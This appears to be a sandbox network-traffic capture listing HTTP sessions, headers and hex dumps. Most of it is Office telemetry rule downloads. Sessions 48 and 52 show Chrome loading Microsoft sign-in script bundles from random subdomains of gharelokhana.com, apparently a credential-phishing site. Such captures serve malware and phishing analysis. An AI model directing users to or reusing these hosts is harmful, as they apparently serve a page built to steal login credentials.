2024-12-04 15:15:34 UTC	16384	IN	Data Raw: 35 32 cd 8d 53 54 7b e9 2c d5 05 98 00 84 25 c0 d4 a5 d7 30 2c 27 95 e8 87 1c 2a cd c8 80 81 c4 13 96 31 62 70 8f 40 a6 c0 28 d0 d8 a5 06 c8 25 eb e7 be 9d 64 39 d8 eb 05 49 18 fc e8 04 c8 3a 05 12 b0 54 68 49 61 ee 80 e7 f6 83 ba b5 66 94 18 c0 95 47 27 5e 9f 19 e0 ea 85 23 3a 65 3e 49 24 ba cd f7 d4 59 0e ac 4d 41 db 9c 49 40 1b b4 6d a1 f5 d4 17 16 0c 5f 0b 74 d9 0f 77 dd 9c a6 29 93 01 27 d7 ce eb c2 6b e7 8c 10 05 a8 e7 1c b4 3f a6 b2 5e a4 93 14 b9 4e d0 bb db 17 86 71 69 38 f1 16 4f 9f 38 b0 0c 9b 99 24 31 bd 68 e5 95 12 41 a9 05 79 c1 24 07 8b dd f1 02 0c 4f a2 5c e2 39 05 25 02 0c b6 5e 58 39 e8 10 24 01 cb a5 10 52 7b 06 0a 33 18 6a a9 80 3e 05 05 43 5a c8 7e ce 4d d6 0e 39 c2 29 6b 33 ab ac 02 53 23 03 1d 8c 83 01 20 81 41 48 0d 04 d9 cb 88 54 Data Ascii: 52ST{,%0,'*1bp@(%d9I:ThIafG'^#:e>I$YMAI@m_tw)'k?^Nqi8O8$1hAy$O\9%^X9$R{3j>CZ~M9)k3S# AHT
2024-12-04 15:15:34 UTC	16384	IN	Data Raw: ff 72 fe e5 fc 83 a3 42 8e 42 88 ba 71 2d ce 6d ae cf 39 05 36 e9 d6 95 c5 fb a7 c3 5b e7 54 3e 9e ee df 0e 4f 01 d9 49 24 73 eb e8 a8 0e 5d e2 cb 78 89 01 e6 39 5d a3 1e 9a c5 97 a7 3a 7a c2 4a 6f 24 17 30 29 e7 5b 4b f1 4e a0 65 ef 45 ad 0c 88 13 77 8c 7d e9 a7 29 e6 fd a3 a4 66 ef ce 3e bc 77 2d fe db 69 19 83 22 39 ad 34 bc 8c 28 9e 0f 3e c0 8a 6c 8a 74 0a 9b b3 78 36 9f 6d de 74 d3 34 76 5a a6 ec 54 4e eb 06 43 3d 01 b5 da 04 e8 0c 33 69 89 bc bb 86 e6 be a1 e2 77 d8 de 7b b0 9c 4b 2d f5 1b e6 de 52 53 6e de 16 7c 0e 50 1e c1 19 4b c9 19 4d c7 b7 6f e3 e4 8d 07 e8 eb dc c2 9c 57 96 63 21 80 a0 26 42 fc 14 04 5e 94 04 b7 70 10 42 5f ea 84 65 f5 6f 5e e1 14 04 65 d5 13 28 0a b5 30 63 a2 0c d5 cc f3 59 f9 8d 00 5c 46 84 9b 1c e5 0f a2 80 7c 98 1d f4 70 Data Ascii: rBBq-m96[T>OI$s]x9]:zJo$0)[KNeEw})f>w-i"94(>ltx6mt4vZTNC=3iw{K-RSn\|PKMoWc!&B^pB_eo^e(0cY\F\|p
2024-12-04 15:15:34 UTC	6703	IN	Data Raw: 1d c3 6b a7 0c 2c 43 60 bb 11 ef c6 dc 0c 47 09 78 85 91 ea aa 30 52 7d 37 18 a9 46 06 23 d5 ad 83 56 99 28 18 1e 88 1f b8 bc c3 d7 f0 a0 78 21 0c 5f 3f 00 28 01 74 1c 16 c7 cd 4d 9d 43 79 dc 5c 1f 7e f3 c9 ba 73 f8 89 d3 75 27 f8 5e 19 bb 7b 5d 2a c0 c9 b8 37 46 8a f9 15 1d 6c f6 b2 d6 95 97 1e 7f 8b 44 d8 d0 db a6 45 5e 52 47 81 65 df df 37 b3 96 78 c2 2b 0e fc 57 da 3a 98 85 a3 bf 03 d4 70 e1 9b 76 c5 46 0b 5b 5e 39 0f 13 46 cf b4 bb d6 c9 f1 e9 19 c0 13 af 30 cc ab f2 92 f7 e8 06 2d 0b e9 01 45 ad 37 f9 53 0b 73 08 f3 aa 07 c9 25 40 2d ff 2d 0e d5 30 7b d8 13 87 e7 15 c8 87 51 71 7c 80 22 3d 00 38 1f da 4e 93 53 fd b8 25 5f 9e da 76 c9 22 f6 98 44 8e fd ed fa f8 38 55 87 bd f2 8d c4 5a b9 5a f7 24 f5 c4 85 9e 92 95 21 ff 62 b5 ac 09 8a 8c de d8 2f 7c Data Ascii: k,C`Gx0R}7F#V(x!_?(tMCy\~su'^{]*7FlDE^RGe7x+W:pvF[^9F0-E7Ss%@--0{Qq\|"=8NS%_v"D8UZZ$!b/\|

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49768	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:33 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:33 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: daea1f5e-401e-005b-68d1-459c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151533Z-1746fd949bd9x4mhhC1EWRb76n00000001fg0000000065z7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:33 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49769	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:33 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 490c4061-c01e-000b-75c3-45e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151533Z-1746fd949bddgsvjhC1EWRum2c00000001kg00000000ktwa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49770	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:34 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:34 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 8c022bf0-601e-0070-5bcb-45a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151534Z-1746fd949bdkw94lhC1EWRxuz400000001e000000000ncmd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:34 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49767	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:35 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:37 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: e4103400-101e-008e-08d4-45cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151537Z-1746fd949bdnq7x2hC1EWRpxr0000000014g00000000ku0r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:37 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49771	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:35 UTC	563	OUT	GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1 Host: 5ba3c75c-4ac65d39.gharelokhana.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
2024-12-04 15:15:36 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:36 GMT Content-Type: application/x-javascript Content-Length: 40475 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 26 Feb 2021 06:13:13 GMT etag: 0x8D8DA1D997CA245 x-ms-request-id: d90b864a-a01e-0008-32d1-44aee6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241204T151535Z-16c5c9558c6wdcvphC1DUSr0g800000004xg0000000086bf x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-04 15:15:36 UTC	15573	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 bc bd 7b 7b db c6 b5 37 fa ff 79 9e f3 1d 44 34 65 01 73 48 91 76 93 77 17 14 c2 c7 91 9d c4 6d ee 72 9a a4 14 93 07 26 87 12 62 0a 60 00 50 b2 22 72 7f f6 b3 7e 6b 2e 18 5c 28 a7 dd fb 3d 6e 23 e2 32 98 eb 9a 35 eb be 4e 9f f4 4e 7e fd 76 27 f3 fb 93 db 67 a3 0f 47 93 93 fd 89 bf 0c 4e fe 7e 71 f2 69 b6 4b 57 71 99 64 e9 49 9c ae 4e b2 f2 5a e6 27 cb 2c 2d f3 e4 cd ae cc f2 82 8a fe fa 1b 3e 1d 65 f9 d5 e9 26 59 ca b4 90 27 4f 4e ff df ff a7 b7 de a5 4b 7c e9 4b 51 06 0f de 8e 9e 17 f4 dd b2 f4 a6 5e f6 e6 57 49 17 51 54 de 6f 65 b6 3e b9 c9 56 bb 8d ec f7 8f bc 18 c9 77 db 2c 2f 8b 59 fd 36 92 a3 55 b6 dc dd c8 b4 9c 95 d4 4c 6f 1c 84 55 ab c1 43 b2 f6 7b 55 91 a0 bc ce b3 bb 93 54 de 9d bc cc f3 2c f7 3d 3d e8 5c fe b6 4b Data Ascii: {{7yD4esHvwmr&b`P"r~k.\(=n#25NN~v'gGN~qiKWqdINZ',->e&Y'ONK\|KQ^WIQToe>Vw,/Y6ULoUC{UT,==\K
2024-12-04 15:15:36 UTC	16384	IN	Data Raw: b3 8b 66 36 d9 40 66 71 a7 f6 7e 7d 00 14 84 9b 6a 1d b2 83 5d d2 8d da ac bb b3 f2 bd 5f 19 87 ca 1d c8 fc 82 69 71 c0 49 8d 1e 0f 1e ba 8d 49 5b bc 03 11 00 0f 32 25 34 62 ec 48 9b 76 a5 6c df c9 61 61 5c 4f 16 6d 24 85 0d 90 a4 90 0a ba 89 4a bb de d5 f4 93 8f 7e de 7e 43 e8 ad 69 d7 7a 6c 7c 9a e7 7d cf 90 ee f2 a4 34 d7 8a e3 52 19 21 e0 4f da 1d 6b 64 6e cd 83 17 33 19 e2 a0 d0 33 c9 66 73 1a 23 84 0f b0 32 47 ba a8 4f 76 6f b4 55 ae 60 10 0e 1f 98 80 ec b0 a1 44 87 91 13 40 37 b4 d5 48 aa 34 21 34 e9 20 41 05 10 f7 96 c2 e8 33 e8 8e a3 2d aa ed 01 1e 4d 20 eb b9 66 38 fe ef b4 42 4d 8c 0f 95 18 bd c3 1a d4 e0 87 7f b3 11 7d 8a da 76 f6 7b 7e 1f f3 c9 fd 46 d2 fe 96 bb 54 4d ac 8b e5 ea 3d 30 88 5a 6a 6c 07 89 41 0d 86 d8 08 b6 f6 64 a4 fa c9 fa 10 Data Ascii: f6@fq~}j]_iqII[2%4bHvlaa\Om$J~~Cizl\|}4R!Okdn33fs#2GOvoU`D@7H4!4 A3-M f8BM}v{~FTM=0ZjlAd
2024-12-04 15:15:36 UTC	8518	IN	Data Raw: d6 f4 17 bb 35 55 7b b5 48 00 2a b0 2a 3f f5 81 b8 d2 75 f9 53 d3 30 ac 02 7d b2 af 12 c8 59 a1 42 0d 93 26 52 be 4f 6c d5 d4 b0 e9 76 e9 a3 2c 74 4f eb 66 5d ab fd ee bd 2d 0f b7 bb db a3 87 37 4b a4 d0 7e 7b 1f 2d 33 68 49 90 9f 71 bf 11 3f ba c2 d0 5c 49 7e 46 f6 80 2d 34 0d 80 e3 53 18 60 4d 5d c9 21 1c 20 35 86 06 8b 38 06 c5 07 ba d5 30 5f 8a b7 55 05 d0 59 a9 39 38 74 dd 26 bf 1c a0 aa d1 0c 13 92 4b 75 ed 7c f4 ba b2 7c 6f 9a a0 55 01 93 79 d1 cc 9e 98 33 d3 2c 69 c5 de 8b ee 06 85 e5 eb 2c a9 c5 91 de cb 90 96 c3 94 1d 55 0f 35 d1 af 2c f5 79 ce 22 54 e7 8c ba 91 fb e3 28 ae 9b a7 e3 20 3f 2d a3 b4 3a 8c 98 1c 12 e9 39 fd db ab 71 3a df 24 84 81 dd 9a 0c dd 21 73 37 8e 0c 8c 36 aa ed 89 5c 73 ce c9 74 0f d0 21 c0 d5 79 25 ca f7 56 63 cc e2 de 64 Data Ascii: 5U{H**?uS0}YB&ROlv,tOf]-7K~{-3hIq?\I~F-4S`M]! 580_UY98t&Ku\|\|oUy3,i,U5,y"T( ?-:9q:$!s76\st!y%Vcd

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49772	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:35 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:35 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: de9014ac-301e-0051-7cc5-4538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151535Z-1746fd949bdxk6n6hC1EWRdr8c00000001a0000000002r8r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:36 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49773	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:35 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 4626c155-d01e-0017-0ecc-45b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151535Z-1746fd949bdl6zq5hC1EWRf3ws000000011g00000000d8yd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:36 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49752	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:35 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:36 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 431871c3-501e-0047-55cc-45ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151536Z-1746fd949bdb8xvchC1EWRmbd400000001d00000000038cd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:36 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49774	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:35 UTC	671	OUT	GET /ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js HTTP/1.1 Host: 5ba3c75c-4ac65d39.gharelokhana.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://fdgfhvcfdgfhhjh.gharelokhana.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://fdgfhvcfdgfhhjh.gharelokhana.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
